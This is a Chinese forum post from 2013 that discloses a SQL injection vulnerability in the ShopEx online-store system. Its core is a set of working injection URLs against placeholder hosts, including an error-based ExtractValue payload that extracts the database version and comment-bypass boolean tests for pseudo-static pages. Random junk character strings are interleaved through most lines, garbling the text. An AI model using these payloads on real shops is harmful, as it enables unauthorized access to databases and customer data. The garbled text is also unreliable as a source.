注入漏洞是一种经典的漏洞类型了，自从上次跟基友深聊了注入，我对注入的认识又提升了一个高度，在我看来不可以注入的地方，TMD的竟然可以注入，注入攻击最早出现了1998年，貌似是，记不清了。10多年了，依然存在，虽然比以前出现量少了，但不得不用到的一种攻击技术… . y9 y0 y" t- \
; M4 c% _ b4 p3 ^9 I& I6 X, _, D好吧，我扯远了~~
! U) j# s3 Q' n p+ G# N其实注入不仅仅出现在动态页面上，难道伪静态后就不能注入了吗？NO~
9 \8 `! A9 t) |# p6 z+ X' E不扯了，直接说主题吧，shopex网店系统注入漏洞。注入点如下： ) q% G1 N9 H# p3 P& G
4 J% ]: B: p4 _/ b H% a2 m) qhttp://www.x.cn/index.php?comment-822′/**/and/**/’1′=’1-ask-commentlist.html $ I9 C" K. q! S# n% B8 a; A
2 b S( ~6 h0 V
http://www.x.com/comment-8967′/**/and/**/ExtractValue(0×64,concat(0×01,(select/**/@@version)))/**/order/**/by/**/’1-ask-commentlist.html
, f4 j, x1 W2 `* r- I0 h+ _
1 w5 l) Z# J3 R3 c3 B5 \+ vhttp://www.x.cn/index.php?comment-822′/**/and/**/’1′=’1-ask-commentlist.html % ^! s& S5 M; I/ Q, u
! \# K( |1 o1 B O* Y
http://demo.x.com.cn/485/index.php?comment-190′/**/and/**/’1′=’1-ask-commentlist.html
- c+ p. g8 j1 z, K5 P5 M! T, T/ a4 W: ?, w, f) V+ Z; u( `
O$ }. C$ I+ s, C' k; ~# P/ L
一个是网站未开启伪静态的注入，一个是网站开启伪静态后的注入，以及是否屏蔽错误回显的2X2=4种情况。
; \3 `8 F$ _% Q6 Q9 d如何注入就不多说了，10多年的东西了…不会也会了… & }8 T; s w% ` H
U% y2 H5 g: W% n. }$ [6 `
8 |7 T; A: R" N( W& D" R) Y- V" Z& t* ]+ z$ }* ?6 }5 _0 I, C
, S9 f5 Q6 N* }7 R! N3 F( O) r |
发表于 2013-2-19 08:31:27
收藏
支持
反对